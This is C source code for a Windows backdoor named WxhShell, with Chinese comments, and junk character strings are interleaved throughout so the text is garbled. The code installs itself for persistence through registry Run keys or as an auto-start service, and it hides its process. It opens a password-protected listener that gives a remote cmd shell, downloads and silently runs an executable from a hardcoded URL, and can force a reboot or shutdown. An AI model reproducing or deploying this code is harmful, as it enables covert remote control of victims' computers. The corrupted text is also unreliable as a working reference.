x~ PROCNTQSIP NtQueryInformationProcess; <Wgp$qt; h^E"eC static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 5[Sa7Mk static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; rt+%&%wt ?[#nh@mI HANDLE hProcess; qx3@]9 PROCESS_BASIC_INFORMATION pbi; #'}?.m <=;#I_E#E HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); V gLnpPOQ if(NULL == hInst ) return 0; pWY $aI ,Y|WSKY* g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); +Tnn'^4 g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 8]U;2H/z NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); df}DJB +C4UM9 if (!NtQueryInformationProcess) return 0; E! '|FJ 9ohaU hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); SGi(Zkc if(!hProcess) return 0; hV,)u3 ~gz_4gzb if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +AGI)uQQ eEvE3=,hg CloseHandle(hProcess); I"TFj$Pg xY]Y hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); `acX1YWh5 if(hProcess==NULL) return 0; B(+J?0Dj ~\;s}Fv. HMODULE hMod; 6_KO6O7g char procName[255]; zo!e<>o unsigned long cbNeeded; T0=8 U;
= UVND1XV^f if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); p:kHb@ ~?l>QP|o CloseHandle(hProcess); QahM)Gb Aj9<4N if(strstr(procName,"services")) return 1; // 以服务启动 0)=U:y. ma__LWKM, return 0; // 注册表启动 oHo@rGU } S6~&g|T, Ct-^-XD // 主模块 v/NkG;NWM int StartWxhshell(LPSTR lpCmdLine) 9fLxp$`(T { Qq,w6ekr SOCKET wsl; ;3~+M:{2 BOOL val=TRUE; b/>L}/^PM int port=0; ~!bA<q struct sockaddr_in door; ,E YB
E B!>hHQ2
if(wscfg.ws_autoins) Install(); J.%%]-f=& NR </Jm* port=atoi(lpCmdLine); =a!w)z_rw W7R`})F if(port<=0) port=wscfg.ws_port; X:3W9`s)* CFo>D\*J WSADATA data; @Kl'0>U if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 6
07"Z\ sr|afqjXD if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; _VvXE572 setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); K<#Q;(SF U door.sin_family = AF_INET; *Fb|iR door.sin_addr.s_addr = inet_addr("127.0.0.1"); y5oC|v7 door.sin_port = htons(port); bUcq
LV |3ob1/)p0 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { d5 U?* closesocket(wsl); nqnVFkGd9 return 1; Ms
*
`w5n } -chk\75 9/LnO'&- if(listen(wsl,2) == INVALID_SOCKET) { N^Bjw?3 closesocket(wsl); e<.O'!=7Y return 1; v; =|-y } oZ
CvEVUk Wxhshell(wsl); XkGS3EY WSACleanup(); sTmY'5ry U/p|X) return 0; N\f={O8E F4o)6+YM } xoT|fgb IRq@~vdt) // 以NT服务方式启动 ZvSWIQ6 VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) =~|:93]k { 0q4E^}iR DWORD status = 0; v +$3Z5 DWORD specificError = 0xfffffff; rhr(uCp/ xllk hD4F serviceStatus.dwServiceType = SERVICE_WIN32; h3udS{9'8 serviceStatus.dwCurrentState = SERVICE_START_PENDING; ,sk0){rW serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; e
[}m@a serviceStatus.dwWin32ExitCode = 0; i
wFI
lJ@ serviceStatus.dwServiceSpecificExitCode = 0; FxK2 1 serviceStatus.dwCheckPoint = 0; mh5ozv$ serviceStatus.dwWaitHint = 0; 6`V2-zv$ 0QakFt hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); KeIk9T13O if (hServiceStatusHandle==0) return; OS.oknzZZ 3lW7auH4Y{ status = GetLastError(); @a[Y[FS if (status!=NO_ERROR) Da@H^ { kN'.e* serviceStatus.dwCurrentState = SERVICE_STOPPED; #("/ 1N6 serviceStatus.dwCheckPoint = 0; |cBeyqr serviceStatus.dwWaitHint = 0; MT?;9ZV} serviceStatus.dwWin32ExitCode = status; Q^Lk^PP7 serviceStatus.dwServiceSpecificExitCode = specificError; gPA),
NrN SetServiceStatus(hServiceStatusHandle, &serviceStatus); aYC[15?' return; h^`!kp } Mu~DB:Y9e N8-!}\, serviceStatus.dwCurrentState = SERVICE_RUNNING; kZfUwF:yN serviceStatus.dwCheckPoint = 0; Fh3>y2`/ serviceStatus.dwWaitHint = 0; +OTNn@!9 if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); .=u8`,sO } MU-T>S4
=Eimbk // 处理NT服务事件,比如:启动、停止 "j]85 VOID WINAPI NTServiceHandler(DWORD fdwControl) ;`(l)X+7 { 2rG;j52))a switch(fdwControl) u\uY q { b5Sgf'B^ case SERVICE_CONTROL_STOP: Cxt_QyL? serviceStatus.dwWin32ExitCode = 0; bt2`elH| serviceStatus.dwCurrentState = SERVICE_STOPPED; ]a
,H!0i serviceStatus.dwCheckPoint = 0; mh8{`W & serviceStatus.dwWaitHint = 0; F^xhhz&e { :I)WSXP9h SetServiceStatus(hServiceStatusHandle, &serviceStatus); /3>5ex>PN } 42If/N? return; %~$P.Zh case SERVICE_CONTROL_PAUSE: 7:cmBkXm serviceStatus.dwCurrentState = SERVICE_PAUSED; > 0kZ-M5 break; }CoR$K case SERVICE_CONTROL_CONTINUE: GCEcg&s=\S serviceStatus.dwCurrentState = SERVICE_RUNNING; -76l*=| break; {~lVe GBp case SERVICE_CONTROL_INTERROGATE: 6y4&nTq[ break; B,f4< }; yN4K^# SetServiceStatus(hServiceStatusHandle, &serviceStatus); (C=.&',P } nJ]oApb/- y!,Ly_x$@ // 标准应用程序主函数 Jh)x_&R&Q int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) HF\|mL { F"?OLV1B& |v[0( // 获取操作系统版本 Rb8wq.LqD OsIsNt=GetOsVer(); ^@"EI|fsP GetModuleFileName(NULL,ExeFile,MAX_PATH); ]3%(
'8/ m,TN%*U! // 从命令行安装 8^8fUN4<= if(strpbrk(lpCmdLine,"iI")) Install(); -%5O:n W>*9T? // 下载执行文件 +li<y`aw0 if(wscfg.ws_downexe) { .*3.47O if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) &ml7368@ WinExec(wscfg.ws_filenam,SW_HIDE); @5im*ubzM } VXM5
B LrL
ZlJf if(!OsIsNt) { " G&S`8 // 如果时win9x,隐藏进程并且设置为注册表启动 5Wyo!pRi HideProc(); \bc ob8u StartWxhshell(lpCmdLine); @`,~d{ziF } 'DDlX3W- else ?
_>L<Y if(StartFromService()) WaaF;|,( // 以服务方式启动 feI%QnK)U StartServiceCtrlDispatcher(DispatchTable); Hw(_l,Xf else \9Z1'W // 普通方式启动 $P{|^ou3a# StartWxhshell(lpCmdLine); 7jZE(|G- h}T+M BA% return 0; ;g:!WXd } O/|,rAE TVVr<r b `7vWyp ixf~3Y8 =========================================== hI^Hqv lVw77bZ npj_i /&g ['*{f(AI W`qiPLk e\[z Q
2Z3 " aLWNqe&1 c6;326aDq #include <stdio.h> I|`/#BYbW #include <string.h> 4dB6cg #include <windows.h> B*zR/?U^ #include <winsock2.h> {D6E@a #include <winsvc.h> #TXN\YNP #include <urlmon.h> e1EFZ,EcaO n'
XvPV| #pragma comment (lib, "Ws2_32.lib") BkH- d z #pragma comment (lib, "urlmon.lib") |UGmIm% \L-K}U>J #define MAX_USER 100 // 最大客户端连接数 +# 38 #define BUF_SOCK 200 // sock buffer `Wes!>Vh! #define KEY_BUFF 255 // 输入 buffer T~238C{vh P$a `8~w #define REBOOT 0 // 重启 H(JgqbFB* #define SHUTDOWN 1 // 关机 tfSY(cXg'T zm&D#) #define DEF_PORT 5000 // 监听端口 j/oM^IY |<Cz#|
,q #define REG_LEN 16 // 注册表键长度 DR d|m<Z #define SVC_LEN 80 // NT服务名长度 ~ _!lx 7lC ); // 从dll定义API FuWMVT`Y typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); "&_$%#HUv typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); =J2cX` typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); P
,%IZ. typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); xbN)z GH6 HdZ // wxhshell配置信息 .IO_&^ struct WSCFG { y4V~fg; int ws_port; // 监听端口 >nqDUGnEo> char ws_passstr[REG_LEN]; // 口令 n]15 ~GO. int ws_autoins; // 安装标记, 1=yes 0=no ZQ%4]=w char ws_regname[REG_LEN]; // 注册表键名 up# R9
d| char ws_svcname[REG_LEN]; // 服务名 d(=*@epjR char ws_svcdisp[SVC_LEN]; // 服务显示名 y@T0
jI char ws_svcdesc[SVC_LEN]; // 服务描述信息 d){o#@ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 JGJy_.C int ws_downexe; // 下载执行标记, 1=yes 0=no -L.U4x char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" E`"<t:RzF char ws_filenam[SVC_LEN]; // 下载后保存的文件名 G$eA(GE 'e/= !"T }; csEF^T- pX\Y:hCug // default Wxhshell configuration 65 P*Gu? struct WSCFG wscfg={DEF_PORT, $jc&Tk# "xuhuanlingzhe", +1te 8P* 1, (i 3=XfZ!C "Wxhshell", V5.=08L "Wxhshell", prdlV)LTpY "WxhShell Service", ;cFlZGw "Wrsky Windows CmdShell Service", KKCzq
| "Please Input Your Password: ", 8Hdm(> 1, 'l&),]|$) "http://www.wrsky.com/wxhshell.exe", vC#
*w, "Wxhshell.exe" K[.*8 }; &&Uc%vIN Xcy Xju#"p // 消息定义模块 >" z$p@7 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 60iMfcT char *msg_ws_prompt="\n\r? for help\n\r#>"; ++m^z` D char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Z{MR#.I char *msg_ws_ext="\n\rExit."; h&k*i char *msg_ws_end="\n\rQuit."; 5Nt40)E}sN char *msg_ws_boot="\n\rReboot..."; ;b-d2R char *msg_ws_poff="\n\rShutdown..."; DJ!<:9FD char *msg_ws_down="\n\rSave to "; "u H VX|` <
s>y{e char *msg_ws_err="\n\rErr!"; |([|F|" char *msg_ws_ok="\n\rOK!"; 03!!# 5iJ @[s+5_9nk char ExeFile[MAX_PATH]; U#X6KRZ~g int nUser = 0; I?z*.yA* HANDLE handles[MAX_USER]; a%IJ8t+mn int OsIsNt;
W`d\A3v IHrG!owf SERVICE_STATUS serviceStatus; 2JMMNpya SERVICE_STATUS_HANDLE hServiceStatusHandle; vhEXtjL 4)DI0b" // 函数声明 m|c5X)}- int Install(void); u> @Yoyc int Uninstall(void); K,$Ro@! int DownloadFile(char *sURL, SOCKET wsh); p
bT sn int Boot(int flag); 0C,2gcq void HideProc(void); QrX 5Kwq int GetOsVer(void); )M:pg% int Wxhshell(SOCKET wsl); xc&&UKd void TalkWithClient(void *cs); n6 VX0R int CmdShell(SOCKET sock); kgQyG[u int StartFromService(void); |_H{B+. int StartWxhshell(LPSTR lpCmdLine); m0a <~ #K4lnC2qz VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); oE;SZ"$x VOID WINAPI NTServiceHandler( DWORD fdwControl ); ]6*+i $ 6%^9`|3 // 数据结构和表定义 - /
tzt SERVICE_TABLE_ENTRY DispatchTable[] = *.2[bQL@v { vr$zYdV> {wscfg.ws_svcname, NTServiceMain}, 5{.g~3" {NULL, NULL} SR<*yO }; ~t,-y*= ,xzSFs>2 // 自我安装 WNa#X]*E) int Install(void) /BaXWrd+ { Wb7z&vj char svExeFile[MAX_PATH]; &UV=<Az{ HKEY key; {T=rsPp<@ strcpy(svExeFile,ExeFile); IW&.JNcN 8va&*J?
2 // 如果是win9x系统,修改注册表设为自启动 F,NS:mE if(!OsIsNt) { gT=RJB if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *qN(_ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); M,WC+")Z= RegCloseKey(key); 4hLv"R. if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &58TX[# RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }w%W A&"W RegCloseKey(key); *9?T?S|^$F return 0; M .J } z!0}Kj } GO|EeM!iB } ;<~lzfs
else { ;i,:F`b~ SaA9)s // 如果是NT以上系统,安装为系统服务 eCI0o5U SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); zm9_[0 if (schSCManager!=0) e|~s'{3 { xn`<g|"# SC_HANDLE schService = CreateService l*0`{R ( OM4q/!)A] schSCManager, ="Edt+a)t wscfg.ws_svcname, uJX(s6["= wscfg.ws_svcdisp, rQ!X SERVICE_ALL_ACCESS, VdfV5" SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Hc"FW5R SERVICE_AUTO_START, 4[$D3,A SERVICE_ERROR_NORMAL, fmv8)$W#U svExeFile, S}T*g UO NULL, x.:k0;%Q NULL, oP 0ZJK&; NULL, s/=.a2\ NULL, *wY { ~zh NULL iO?Sf8yJ: ); :+nECk if (schService!=0) `Y5{opG7- { G;CB%qXI CloseServiceHandle(schService); ?R;K`f9< CloseServiceHandle(schSCManager); =`oQcIkz strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 1 =cFV' strcat(svExeFile,wscfg.ws_svcname); "Y7
]t:8 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ;Npv 2yAab RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); c_33.i"I} RegCloseKey(key); >cEB,@~ return 0; h{sY5d'D } I'NE>!=Q } ~D9VjXfL) CloseServiceHandle(schSCManager); LT5rLdn } l*yh(3~} } U/|H%b %ys-y?r return 1; pX:FXzYQ } `>1"v9eF 9q2 >_Mv // 自我卸载 .oJs"=h:m int Uninstall(void) ;BEg"cm { gDw:Z/1X` HKEY key; e#YQA LiyEF&_u if(!OsIsNt) { >@yHa'*9S if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >A$J5B>d RegDeleteValue(key,wscfg.ws_regname); H<M
ggs- RegCloseKey(key); -$(,&qyk if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { r@xMb,!H RegDeleteValue(key,wscfg.ws_regname); zFjG20w%3g RegCloseKey(key); $XqfwlUu/4 return 0; rAdYBr=0 } fq){?hk~O } M-!eL< } BX|+"AeF else { E6SGK,f0D g8yWFqE!T SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); B)F2SK<@ if (schSCManager!=0) ()}B]? { O[3AI^2 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); &(fB+VNrOH if (schService!=0) x@F"ZiYD@O { "hU'o& if(DeleteService(schService)!=0) { rO%
|PRP CloseServiceHandle(schService); _/"m0/, CloseServiceHandle(schSCManager); "`DCXn#mB return 0; #&G^%1! } % Ke:%##Y CloseServiceHandle(schService); =|n NC } 4q)eNcs CloseServiceHandle(schSCManager); 0px@3/ } ;l_%;O5 } ?op6_a-wm 4uv'l3 return 1; qoBm!|q } w$H=GF?" cO2
.gQo' // 从指定url下载文件 tvptawA. int DownloadFile(char *sURL, SOCKET wsh) >2gemTy { s>
JmLtT HRESULT hr; *-bR~ char seps[]= "/"; 9hI4',(rE char *token; g2 uc+p char *file; raGov` char myURL[MAX_PATH]; "k\W2,q[ char myFILE[MAX_PATH]; od|w)?16 0-EhDGa]r strcpy(myURL,sURL); 3ug{1M3 token=strtok(myURL,seps); _;J7#j~} while(token!=NULL) -IJt( X| { jRK<FK file=token; u >H^bCXI token=strtok(NULL,seps); \LRno3 } L <Q1acoZm /reSU 2 GetCurrentDirectory(MAX_PATH,myFILE); F ]\4< strcat(myFILE, "\\"); 7Xv.C&jzd strcat(myFILE, file); &|xN=U/ send(wsh,myFILE,strlen(myFILE),0); Yt2_*K@rC send(wsh,"...",3,0); XU.ZYYZ= hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); _ Onsfv if(hr==S_OK) 2EsKC) return 0; BCF-lrZ& else n.,\Z(l|0 return 1; *G$tfb( GAbX.9[V } VB*$lxX b mZRCvW>A // 系统电源模块 0R<@* int Boot(int flag) di`Ql._M { lRnst-inlI HANDLE hToken; tR!eY t TOKEN_PRIVILEGES tkp; `N}<lg(0# \?h + if(OsIsNt) { 4p&qH igG OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); (L8H.|. LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); (w?@qs! tkp.PrivilegeCount = 1; ~\}%6W[2 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; J@(=#z8xS AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); e2;19bj& if(flag==REBOOT) { /s
uz>o\ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) z}yntY]n return 0; <6U{I ' } m C_v!nL. else { R>BI;IcX if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) PX52a[wNDH return 0; WZdA<<,:o } &G5+bUF, } vLJ<_&6 else { >Be PE(k if(flag==REBOOT) { #z-6mRB if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) bSU9sg\ return 0; %JBp~" } Y(78qs1w else { i0Qg[%{9# if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) CT3wd?)z` return 0; V'
"p
a } :,y V?E6] } b\"JXfw <a2t"rc return 1; DY^q_+[V } bw9a@X z<ptrH // win9x进程隐藏模块 5R?iTB1, void HideProc(void) ueZ `+g~gg { lLxKC7b Xl;u HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); HviL4iO if ( hKernel != NULL ) z(iB$;M { QL"fC;xUn, pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); rr'RX ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); O1Ey{2Q FreeLibrary(hKernel); $dFEC}1t
} Tf
Q(f? *5hg}[n2 return; /hOp>| } bk}.^m! Dsw(ti`@ // 获取操作系统版本 [mJcc int GetOsVer(void) ~A}"s-Kq5 { `n
Y!nh6! OSVERSIONINFO winfo; `]_#_ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 0qnToV; GetVersionEx(&winfo); {1'XS,2 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) M-,vX15S return 1; 1&ZG6#16q else :@KWp{ D7 return 0; _S{HVc } pjvChl5 4M*UVdJ; // 客户端句柄模块 /P<RYA~ int Wxhshell(SOCKET wsl) F/tBr%RV { u^s{r`/ SOCKET wsh; uwsGtgd& struct sockaddr_in client; <oS2a/Nd DWORD myID; `][~0\Y3m \kF}E3~+# while(nUser<MAX_USER) D*|h
c { xqmP/1=NO int nSize=sizeof(client); U`ey7
wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 6{8qATLR if(wsh==INVALID_SOCKET) return 1; ;VSHXU'H UN'hnqC handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); B%6>2S=E if(handles[nUser]==0)
1t+]r:{ closesocket(wsh); 8|.(Y else I?c# T Rm nUser++; QzT )PtX } #
5v 2`|) WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); _:x/\8P y)t< r return 0; W(E!: } <:-|>R". lRi-?I|~9 // 关闭 socket v}Gq.(b void CloseIt(SOCKET wsh) Sir7TQ4B { C8}ujC closesocket(wsh); L)H7~.Dj nUser--; Q1 mz~r ExitThread(0); '!]ry< } IVzJ| y&-wb'==p // 客户端请求句柄 B'"C?d<7 void TalkWithClient(void *cs) SouPk/-B80 { 3;Kv9i<~LE 'uGn1|Pvy SOCKET wsh=(SOCKET)cs; ZMids"Xdf char pwd[SVC_LEN]; NC)I u char cmd[KEY_BUFF]; :/c=."z. char chr[1]; v*7}ux8 int i,j; Tm-Nz7U^^ DNcf2_m while (nUser < MAX_USER) { d^
L`dot +v2Fr} if(wscfg.ws_passstr) { HUuL3lYka if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F-k3'eyY //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~>3$Id: //ZeroMemory(pwd,KEY_BUFF); }i!hzkK# i=0; t%Vc1H2} while(i<SVC_LEN) { ):;
&~ F<Js"z+ // 设置超时 ^8Tq0>n? fd_set FdRead; R(@B4M2 struct timeval TimeOut; }OZ%U2PU FD_ZERO(&FdRead); \< <u FD_SET(wsh,&FdRead); 7pH(_-TF TimeOut.tv_sec=8; Rx<m+= TimeOut.tv_usec=0; [wWip1OR int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); TUHC[#Vb? if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); k"Y9Kc0XoU 7dyGC:YuTL if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #56}RV1 pwd=chr[0]; 57k@]3
4 if(chr[0]==0xd || chr[0]==0xa) { X|^E+
`M4 pwd=0; E;.<'t> break; D^yZ!}Kl } Pc#8~t}2 i++; qqA(Swe)T } .I$Q3%s _p <W // 如果是非法用户,关闭 socket ~CIA6& if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); -CtLL_ I } @]P#]%^D2 !#j
y=A send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); F$QN>wPpM send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 23?\jw3w `WQz_}TqB while(1) { uCO-f<b [y-0w.V=oE ZeroMemory(cmd,KEY_BUFF); zs|R#?a= 649{\;*4 // 自动支持客户端 telnet标准 O32p8AxEz j=0; s kC* while(j<KEY_BUFF) { by!1L1[JTt if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,e$]jC<sv2 cmd[j]=chr[0]; EvSo|}JA[ if(chr[0]==0xa || chr[0]==0xd) { K>iM6Uv cmd[j]=0; &oI;^| break; RnC96"";R. } -x)Oo` j++; q}P< Ejq} } Gx/sJ( T9w;4XF // 下载文件 cdiDfiE if(strstr(cmd,"http://")) { r LQBaT7t# send(wsh,msg_ws_down,strlen(msg_ws_down),0); 2f>G if(DownloadFile(cmd,wsh)) (3a]#`Q send(wsh,msg_ws_err,strlen(msg_ws_err),0); C#{s[l \] else #^%HJp^ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?#~3%$> } cV^r_E\m else { Ilt!O^ *nJy switch(cmd[0]) { n7-|\p!xP6 kS_oj // 帮助 8T"C] case '?': { vEQw`OC send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); fLkZ'~e! break; .}IxZM[}D } 12l-NWXf // 安装 UQ]WBS\ case 'i': { ' cM2]< if(Install()) R>Q&Ax send(wsh,msg_ws_err,strlen(msg_ws_err),0); cHqT1EY else zgre&BV0q send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /$a>f>EJ break; m#
y` } uWm,mGd9 // 卸载
W)F<<B, case 'r': { EFpV if(Uninstall()) Iw@ou send(wsh,msg_ws_err,strlen(msg_ws_err),0); "rxhS;
R1> else +5:Dy,F= send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %DyukUJ break; ]M^k~Xa } nE"##2X // 显示 wxhshell 所在路径 A'A5.\UN case 'p': { %Xe#'qNq) char svExeFile[MAX_PATH]; ]rwHr;. strcpy(svExeFile,"\n\r"); yg}zK>j^vC strcat(svExeFile,ExeFile); }~B @Z\`O send(wsh,svExeFile,strlen(svExeFile),0); x?10^~R break; RLy2d'DS } ++>HU{ // 重启 !4;A"B( case 'b': { #kGgzO send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); "gt-bo., if(Boot(REBOOT)) _:N+mEF send(wsh,msg_ws_err,strlen(msg_ws_err),0); _LVwjZX[ else { d6(R-k#B closesocket(wsh); 'YQVf]4P ExitThread(0); Rgstk/1 } y4N8B:j% break; j 3/ I= } tW^oa // 关机 /#<R case 'd': { IKz3IR eu send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 6[.#B!;9 if(Boot(SHUTDOWN)) 0iKSUwps send(wsh,msg_ws_err,strlen(msg_ws_err),0); aNt+;M7g` else { o*]Tqx closesocket(wsh); qGlbO ExitThread(0); `EBI$;! } VL =1 9[ break; J\@ r~x5G } YLXLaC[ // 获取shell Uzi.CYVs% case 's': { 95XQ?% CmdShell(wsh); @Sr{6g*I closesocket(wsh); g3 6:OK" ExitThread(0); RJp Rsr
break; GgU8f0I } eq"
eLk6h // 退出 h0cdRi case 'x': { \X*Es.;|x send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #oYPe:8|m CloseIt(wsh); 9mmkFaBQ break; *dAQ{E(rO } $q$G // 离开 @sr~&YhA case 'q': {
x>]14bLz send(wsh,msg_ws_end,strlen(msg_ws_end),0); Y:?cWO closesocket(wsh); t6,bA1*5y WSACleanup(); +GYO<N7 exit(1); mi';96 break; ]Pp}=hcD } OGR2Y } v 1.8]||^ } F HK{cE ufF>I // 提示信息 /&i6vWMhP if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ez-jVi-Fi } 6(1S_b=a } c%+_~iBUN 94}y,\S~ return; mx!EuF$I } p9y@5z ]3\%i2NM // shell模块句柄 +:_;K_h int CmdShell(SOCKET sock) zl3GWj|?\7 { !jTxMf
STARTUPINFO si; v,L@nlD] ZeroMemory(&si,sizeof(si)); iAr]Ed"9| si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; xxQgX~'x si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; b[2 #t PROCESS_INFORMATION ProcessInfo; hDf!l$e. char cmdline[]="cmd"; lD#S:HX CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 96d&vm~m1 return 0; ]~@uStHn } ;L@p|]fu }rQ0*h // 自身启动模式 VZ]}9k int StartFromService(void) YD,<]q% { B;^1W{%J typedef struct rNoCmNm { iOB*K)U1 DWORD ExitStatus; |vPU]R>6 DWORD PebBaseAddress; A
D%9;KQ8 DWORD AffinityMask; J(Fk@{!F.* DWORD BasePriority; )agrx76]3w ULONG UniqueProcessId; HLX#RQ ULONG InheritedFromUniqueProcessId; (-Qr.t_B` } PROCESS_BASIC_INFORMATION; jfU$qo!gi ;3\'}2^|l PROCNTQSIP NtQueryInformationProcess; v[\GhVb T`2a) static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Rjn%<R2nW static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; P#9Pq,I u)[i'ceQZ: HANDLE hProcess; bHg 0,N PROCESS_BASIC_INFORMATION pbi; Rxq4Diq5k (7C$'T-ZK HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); `4,]Mr1b if(NULL == hInst ) return 0; XzB3Xs?W2 z
.+J\ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); p{x6BVw?> g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA");
